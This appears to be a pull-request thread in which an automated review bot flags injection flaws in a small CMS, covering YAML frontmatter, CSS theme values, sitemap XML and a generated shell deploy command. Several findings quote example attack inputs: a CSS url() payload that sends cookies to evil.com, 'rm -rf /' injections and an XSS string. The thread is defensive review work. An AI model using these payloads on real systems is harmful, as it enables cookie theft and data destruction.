Security fixes from scan report

[buzzkillb]

Summary of Security Fixes

Critical/High Priority Fixed

• ✅ Sitemap uses siteUrl from config instead of hardcoded placeholder
• ✅ SVG uploads rejected (Sharp can't convert, XSS risk)
• ✅ Path traversal protection on media delete
• ✅ Slug validation on all API endpoints
• ✅ DOMPurify: removed style tag, added style to FORBID_ATTR
• ✅ YAML safe parsing with JSON_SCHEMA
• ✅ CSS injection protection: strict regex for theme_css values
• ✅ Media library URL whitelist validation
• ✅ API token excluded from config export
• ✅ Token clipboard copy removed
• ✅ Deploy command shows export pattern instead of inline token
• ✅ iframe sandbox tightened to allow-scripts only
• ✅ isProduction() improved to reject HTTP/private IPs/.local

Not Fixed (Documented Reasons)

• Authentication: Local-only tool bound to 127.0.0.1
• localStorage tokens: Known trade-off for local dev tools
• Rate limiting: Not needed for single-user local tool

Files Changed

• src/server.ts - Sitemap config, slug validation, path traversal fix
• src/lib/markdown.ts - YAML safe parsing, DOMPurify config
• src/layouts/BaseLayout.astro - CSS injection protection
• admin/index.html - Media URL whitelist, iframe sandbox
• src/pages/admin/deploy.astro - Token handling
• src/lib/config.ts - isProduction() improvement
• src/content.config.ts - Pages published field
• scripts/generate-sitemap.ts - Pages filtering

[gitzillabot]

Gitzilla has reviewed your changes and found 1 potential issue.

^{Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.}

[gitzillabot]

Double HTML-escaping breaks markdown mode toggle after visual editing

Medium Severity

Content saved through the visual editor is HTML-sanitized with escaped characters (e.g., <, >, "). When switching from visual to markdown mode, escapeHtml() is applied again to content that is already escaped. This causes < instead of <, displaying literal HTML entity strings to users instead of actual characters.

The round-trip flow: Visual input a < b → stored as a < b → markdown mode shows a < b. Users see HTML entities as text, making the markdown toggle unusable for content that was edited in visual mode.

Suggested fix: When switching to markdown mode, use the original content before HTML escaping instead of the DOMPurify-sanitized version. The markdown content should be stored separately from the sanitized HTML, or the markdown mode should use decodeHTMLEntities() on the escaped content before display.

[gitzillabot]

Caution

High Risk
5 new findings — 5 total

Overview
Good - I can confirm that pages.astro (line 114) already has the date fallback that posts.astro is missing. This is an inconsistency that needs to be addressed.

Summary of Findings

Reported 2 issues:

1. [HIGH] The formatFrontmatter function's --- escape mechanism is fundamentally broken. The replacement string \\-\\-\\- produces \-\-\- in the file, which is not a valid YAML escape sequence. YAML parsers won't recognize it as an escape, so the original --- could still be interpreted as a document separator. This undermines the stated security fix for YAML injection.

2. [MEDIUM] posts.astro's formatFrontmatter is missing the date fallback that pages.astro correctly has. If post.date is undefined, the generated YAML will contain date: undefined which is invalid syntax.

Verified as correctly implemented:

• SVG upload rejection in src/server.ts
• Path traversal protection for media deletion
• Slug validation on all API endpoints
• iframe sandbox set to allow-scripts only
• DOMPurify style tag removed from ALLOWED_TAGS and style added to FORBID_ATTR
• YAML parsing using JSON_SCHEMA
• isProduction() correctly rejects localhost, private IPs, and .local domains
• API token not included in config export
  I've reviewed this chunk thoroughly and found two confirmed security vulnerabilities related to YAML injection. Let me summarize:

Summary of Changes in This Chunk:

This PR chunk introduces several security hardening improvements to the StaticPress CMS:

• Config module (src/lib/config.ts): Added robust isProduction() validation that properly rejects localhost, private IP ranges (10.x, 172.16-31.x, 192.168.x), and .local hostnames.

• Markdown processing (src/lib/markdown.ts): Added DOMPurify sanitization with strict tag/attribute allowlists, removed dangerous tags like script, iframe, style, and added style to forbidden attributes. YAML parsing uses JSON_SCHEMA to prevent arbitrary code execution.

• CSS injection protection (src/layouts/BaseLayout.astro): Implemented strict whitelist validation for theme CSS values, allowing only safe CSS custom properties with pre-approved color formats, sizes, and keywords.

• Admin security (src/pages/admin/posts.astro, src/pages/admin/pages.astro): Added duplicate slug validation, improved input sanitization with .trim() checks, and replaced dangerous template literal frontmatter generation with dedicated escapeYAML() and formatFrontmatter() functions.

• Token handling (src/pages/admin/deploy.astro): API tokens are now excluded from config file exports for security, and the deploy command shows a shell-safe command pattern for users to run manually instead of executing inline.

• Build page (src/pages/admin/build.astro): Changed from running builds client-side to displaying the bun run build command for users to execute in their terminal.

• Page/blog routes: Added proper dynamic routing with Astro content collections, SEO meta tags, and proper date handling.
  The changes to deploy.astro reorganize the admin panel's configuration handling. The UI now separates site-level settings (URL, Formspree ID) from Cloudflare deployment settings (project name, API token, account ID). The save-config operation intentionally excludes the API token from exports for security, and the deploy command now shows the wrangler CLI invocation with environment variable instructions instead of executing directly. The config file format was restructured to use nested cloudflare properties, though this introduces a backward-compatibility gap in the load path that prevents restoring tokens from previously saved configs.

Inline comments posted: 5

_{Written by Gitzilla for commit 8e991e8. This will update automatically on new runs.}

Potentially Resolved Since Previous Run

• [MEDIUM] YAML injection risk in frontmatter via newline escaping flaw @ src/pages/admin/posts.astro (id:74b05f2401)

Findings

1. [HIGH] YAML frontmatter --- escape produces invalid escape sequence id:37677dfe8c
   Location: src/pages/admin/posts.astro:119
   The formatFrontmatter function in posts.astro and pages.astro attempts to escape --- sequences using content.replace(/^---$/gm, '\\-\\-\\-'). In JavaScript, '\\-\\-\\-' becomes the literal string \-\-\-. However, \-\-\- is NOT a valid YAML escape sequence—YAML only recognizes specific escapes like \n, \t, \", etc. The YAML parser will interpret \-\-\- as literal characters, which does not prevent --- from being recognized as a document separator. A user can still inject content that breaks out of frontmatter by starting their post with ---.
   Suggested fix: Either check if content starts with --- and prepend a newline, or use proper YAML block scalar syntax. For example: if (post.content.startsWith('---')) content = '\n' + content;

2. [HIGH] YAML injection via unquoted date field in frontmatter generation id:fdc2f47f3c
   Location: src/pages/admin/posts.astro:127
   In src/pages/admin/posts.astro, the formatFrontmatter function generates YAML frontmatter with an unquoted date field at line 131: date: ${post.date}. If post.date contains a newline character, it breaks out of the field value and allows injection of arbitrary YAML keys.

   Example attack: setting date to 2024-01-01\nauthor: "injected" produces:

   ---
   title: "..."
   date: 2024-01-01
   author: "injected"
   ---

   This injects an additional author field into the frontmatter. The same vulnerability exists in pages.astro at line 109 with date: ${page.date || ...}.

   Both locations should quote and escape the date value like: `date: "${escapeYAML(post.date)}"`.
   Suggested fix: Quote and escape the date field: date: "${escapeYAML(post.date)}"

3. [HIGH] YAML injection via unquoted date field in pages frontmatter generation id:e007a13d42
   Location: src/pages/admin/pages.astro:103
   In src/pages/admin/pages.astro, the formatFrontmatter function at line 109 uses an unquoted date field: date: ${page.date || new Date().toISOString().split('T')[0]}. If the page's date value contains a newline, it injects arbitrary YAML structure. This is the same vulnerability as in posts.astro but affects page exports.

   The date field should be quoted and escaped: `date: "${escapeYAML(page.date || new Date().toISOString().split('T')[0])}"`.
   Suggested fix: Quote and escape the date field: date: "${escapeYAML(page.date || new Date().toISOString().split('T')[0])}"

4. [MEDIUM] Missing fallback for undefined date in formatFrontmatter id:1ece0db3aa
   Location: src/pages/admin/posts.astro:131
   The formatFrontmatter function inserts post.date directly without a fallback: date: ${post.date}. While the save function sets date: new Date().toISOString().split('T')[0], if post.date is undefined (from corrupted localStorage, manual edits, or API responses), this produces date: undefined which is invalid YAML syntax.
   Suggested fix: Use a fallback: date: ${post.date || new Date().toISOString().split('T')[0]}

5. [MEDIUM] Config load/save asymmetry breaks token restoration id:08f48527cc
   Location: src/pages/admin/deploy.astro:302
   The save-config function explicitly omits the token from the exported JSON for security reasons (line 252-255), but the load-config function only checks for config.cloudflare.token (lines 302-306). This creates two problems:

   1. Saved config files can never restore the API token — the user must re-enter it every time
   2. Old config files using the flat config.token format are not supported for token restoration

   The result is that after exporting a config, users cannot re-import their API token. The load function needs a fallback check for config.token (the old flat format) to provide backward compatibility for users with existing config files.
   Suggested fix: Add a fallback to load token from old flat format: const token = config.cloudflare?.token || config.token; and then restore it to localStorage.

Additional notes

Some changed files were skipped by repository review settings.

[gitzillabot]

Gitzilla has reviewed your changes and found 2 potential issues.

^{Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.}

[gitzillabot]

CSS injection via rgb/rgba color value regex bypass

Medium Severity

The CSS custom property validation regex in BaseLayout.astro allows semicolons within rgb/rgba values. The pattern rgb([^)]+\) matches any characters except ), including ;. This permits CSS injection: a theme value like --color: rgb(1;color:red) passes validation and injects a second CSS property. While style tags and style attributes are blocked by DOMPurify, injecting custom properties into the :root scope could enable further CSS-based attacks or page defacement. The fix should either remove rgb/rgba from the allowed patterns or use a more restrictive regex that doesn't allow semicolons within the value.

Suggested fix: Replace the rgb/rgba patterns in the regex with strict color format validation. For example, use a pattern like ^#[0-9a-fA-F]{3,8}$ for hex colors and remove rgb/rgba from allowed patterns entirely, since they allow arbitrary content within parentheses.

[gitzillabot]

CSS injection bypass via property names in theme_css validation

High Severity

The CSS injection protection regex in BaseLayout.astro only validates property VALUES but allows arbitrary property NAMES. An attacker can inject CSS like --evil: url('//evil.com?c='+document.cookie) or --background: url('//evil.com?css='+getComputedStyle(document.body).cssText). The regex validates that values are safe colors/numbers, but allows property names like "background" or "color" which CSS will apply directly. This enables exfiltration of sensitive data via CSS-based timing attacks or resource loading.

Suggested fix: Allow only a whitelist of specific custom property names (e.g., --color-primary, --color-background, --color-text) rather than any --* pattern, OR use a stricter regex that only allows known safe properties and values.

[gitzillabot]

Gitzilla has reviewed your changes and found 2 potential issues.

^{Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.}

[gitzillabot]

Sitemap XML injection vulnerability via unsanitized slugs

Medium Severity

The sitemap generation in scripts/generate-sitemap.ts and src/server.ts inserts slug values directly into XML without encoding XML special characters. If a content file has a malicious filename like "><script>alert(1)</script>.md, the generated sitemap will contain unescaped XML that can break parsing or enable injection attacks. The slug from the filename is used at lines 48-49 and 60-61 in generate-sitemap.ts without any sanitization.

Suggested fix: Add XML encoding for slugs before inserting into sitemap URLs: const encodedSlug = slug.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');

[gitzillabot]

Shell command injection in deploy command generation

Critical Severity

The deploy command construction at line 229 directly interpolates account and project from localStorage into a shell command without sanitization or quoting: export CF_ACCOUNT_ID=${account} && ... && bunx wrangler pages deploy dist --project-name=${project}. An attacker who can modify localStorage (via XSS on this admin panel, or via browser devtools if left unattended) can inject arbitrary shell commands. The account variable is unquoted, making it trivial to break out and inject.

Suggested fix: Use a whitelist regex to validate account/project (alphanumeric and hyphens only) before interpolation. Wrap ${account} in double quotes and escape any double quotes inside the value using shell escaping (replace(/"/g, '\\"')).

[gitzillabot]

Gitzilla has reviewed your changes and found 3 potential issues.

^{Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.}

[gitzillabot]

Shell command injection in deploy command via unsanitized project/account values

Medium Severity

The deploy button constructs a shell command using account and project values from localStorage without sanitization (line 232). If an attacker can manipulate localStorage (e.g., via XSS on the same origin), they could inject shell commands. For example, setting project to foo && rm -rf / would execute arbitrary commands when the user runs the displayed command.

Suggested fix: Sanitize account and project values before including in the shell command. At minimum, escape shell special characters or validate against an allowlist pattern for project/account names.

[gitzillabot]

Sitemap XML injection: siteUrl from config not escaped

Medium Severity

The generateSitemap() function uses baseUrl directly in XML without escaping (lines 577-578, 585, 592). While slugs are properly escaped with escapeXml(post.slug), the baseUrl (siteConfig.siteUrl) is interpolated raw into <loc> elements. If siteUrl contains characters like &, <, >, ", or ', it produces malformed XML and could enable XML injection attacks.

Suggested fix: Apply escapeXml(baseUrl) when constructing sitemap URLs, similar to how slugs are escaped.

[gitzillabot]

YAML parsing inconsistency: generate-sitemap.ts lacks JSON_SCHEMA

Medium Severity

scripts/generate-sitemap.ts line 33 uses yaml.load(frontmatterStr) without specifying a schema, while src/lib/markdown.ts correctly uses yaml.load(frontmatterStr, { schema: yaml.JSON_SCHEMA }). While js-yaml defaults to safe behavior in v4+, explicitly specifying JSON_SCHEMA is the documented fix mentioned in the PR. Without it, there may be version-specific or configuration-specific edge cases where unsafe YAML types could be parsed.

Suggested fix: Add { schema: yaml.JSON_SCHEMA } as the second argument to yaml.load() for consistency with src/lib/markdown.ts

[gitzillabot]

Gitzilla has reviewed your changes and found 3 potential issues.

^{Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.}

[gitzillabot]

Shell command injection in deploy command via unsanitized project/account values

High Severity

The deploy command in src/pages/admin/deploy.astro constructs a shell command by directly interpolating account and project values from localStorage without escaping. An attacker who can modify localStorage values (via XSS or browser dev tools) could inject arbitrary shell commands.

The vulnerable code is:

const command = `export CF_API_TOKEN="your-token-here" && export CF_ACCOUNT_ID=${account} && bunx wrangler pages deploy dist --project-name=${project}`;

If account contains foo; rm -rf /, the command becomes:

export CF_ACCOUNT_ID=foo; rm -rf / && bunx wrangler pages deploy dist --project-name=...

This allows arbitrary command execution on the user's machine when they run the displayed command.

Suggested fix: Add shell escaping for the account and project values. Use a function like escapeShellArg() to wrap values in single quotes and escape any existing single quotes:

function escapeShellArg(str) {
  if (!str) return "''";
  return "'" + str.replace(/'/g, "'\\''") + "'";
}

const command = `export CF_API_TOKEN="your-token-here" && export CF_ACCOUNT_ID=${escapeShellArg(account)} && bunx wrangler pages deploy dist --project-name=${escapeShellArg(project)}`;

Or use Wrangler's config file approach and environment variables instead of command-line arguments to completely avoid shell interpolation.

[gitzillabot]

Blog/page URLs include .md extension from content IDs

Medium Severity

In src/pages/blog/index.astro (line 68) and src/pages/blog/[slug].astro (line 11), post.id is used directly for URL construction. With Astro's glob loader, post.id includes the file extension (e.g., "welcome.md"), resulting in URLs like /blog/welcome.md instead of clean URLs like /blog/welcome. The same issue affects pages at src/pages/[slug].astro (lines 9, 22). This breaks the standard static site convention of extension-less URLs and may cause issues with CDN caching, URL normalization, and SEO.

Suggested fix: Strip the .md extension when constructing URLs: use post.id.replace(/\.md$/, '') or create a helper function to normalize IDs for URL use.

[gitzillabot]

Shell command injection via config file load in deploy.astro

Medium Severity

The deploy command interpolates project and account values from localStorage directly into a shell command without sanitization. While the save-config function intentionally excludes the token, it still saves project and account values. If a user loads a maliciously crafted config file with shell metacharacters (e.g., project: "test; rm -rf / #"), and then clicks the deploy button, arbitrary shell commands could be executed on the user's machine. The project and account values from config are set directly to localStorage without any validation or escaping before being used in the command string.

Suggested fix: Validate project and account against a strict pattern (alphanumeric, dash, underscore only) when loading from config, or encode/shell-escape the values before interpolating into the command. Alternatively, validate on save.

[gitzillabot]

Gitzilla has reviewed your changes and found 1 potential issue.

^{Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.}

[gitzillabot]

YAML injection risk in frontmatter via newline escaping flaw

Medium Severity

The escapeYAML() function in posts.astro and pages.astro converts actual newlines to literal \n characters: str.replace(/\n/g, '\\n'). When content contains actual newlines, they become literal \n strings. When Astro parses this YAML and re-serializes it, the literal \n becomes actual newlines in the output. This could cause frontmatter parsing issues if the resulting newlines appear in unexpected positions relative to the --- delimiters, leading to file corruption or malformed content.

Suggested fix: Use a proper YAML library for escaping in both JavaScript (admin) and TypeScript (server) code, or ensure the regex-based frontmatter extraction in markdown.ts is used consistently for both reading and writing content.

[gitzillabot]

Gitzilla has reviewed your changes and found 5 potential issues.

^{Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.}

[gitzillabot]

YAML frontmatter --- escape produces invalid escape sequence

High Severity

The formatFrontmatter function in posts.astro and pages.astro attempts to escape --- sequences using content.replace(/^---$/gm, '\\-\\-\\-'). In JavaScript, '\\-\\-\\-' becomes the literal string \-\-\-. However, \-\-\- is NOT a valid YAML escape sequence—YAML only recognizes specific escapes like \n, \t, \", etc. The YAML parser will interpret \-\-\- as literal characters, which does not prevent --- from being recognized as a document separator. A user can still inject content that breaks out of frontmatter by starting their post with ---.

Suggested fix: Either check if content starts with --- and prepend a newline, or use proper YAML block scalar syntax. For example: if (post.content.startsWith('---')) content = '\n' + content;

[gitzillabot]

Missing fallback for undefined date in formatFrontmatter

Medium Severity

The formatFrontmatter function inserts post.date directly without a fallback: date: ${post.date}. While the save function sets date: new Date().toISOString().split('T')[0], if post.date is undefined (from corrupted localStorage, manual edits, or API responses), this produces date: undefined which is invalid YAML syntax.

Suggested fix: Use a fallback: date: ${post.date || new Date().toISOString().split('T')[0]}

[gitzillabot]

YAML injection via unquoted date field in frontmatter generation

High Severity

In src/pages/admin/posts.astro, the formatFrontmatter function generates YAML frontmatter with an unquoted date field at line 131: date: ${post.date}. If post.date contains a newline character, it breaks out of the field value and allows injection of arbitrary YAML keys.

Example attack: setting date to 2024-01-01\nauthor: "injected" produces:

---
title: "..."
date: 2024-01-01
author: "injected"
---

This injects an additional author field into the frontmatter. The same vulnerability exists in pages.astro at line 109 with date: ${page.date || ...}.

Both locations should quote and escape the date value like: `date: "${escapeYAML(post.date)}"`.

Suggested fix: Quote and escape the date field: date: "${escapeYAML(post.date)}"

[gitzillabot]

YAML injection via unquoted date field in pages frontmatter generation

High Severity

In src/pages/admin/pages.astro, the formatFrontmatter function at line 109 uses an unquoted date field: date: ${page.date || new Date().toISOString().split('T')[0]}. If the page's date value contains a newline, it injects arbitrary YAML structure. This is the same vulnerability as in posts.astro but affects page exports.

The date field should be quoted and escaped: `date: "${escapeYAML(page.date || new Date().toISOString().split('T')[0])}"`.

Suggested fix: Quote and escape the date field: date: "${escapeYAML(page.date || new Date().toISOString().split('T')[0])}"

[gitzillabot]

Config load/save asymmetry breaks token restoration

Medium Severity

The save-config function explicitly omits the token from the exported JSON for security reasons (line 252-255), but the load-config function only checks for config.cloudflare.token (lines 302-306). This creates two problems:

1. Saved config files can never restore the API token — the user must re-enter it every time
2. Old config files using the flat config.token format are not supported for token restoration

The result is that after exporting a config, users cannot re-import their API token. The load function needs a fallback check for config.token (the old flat format) to provide backward compatibility for users with existing config files.

Suggested fix: Add a fallback to load token from old flat format: const token = config.cloudflare?.token || config.token; and then restore it to localStorage.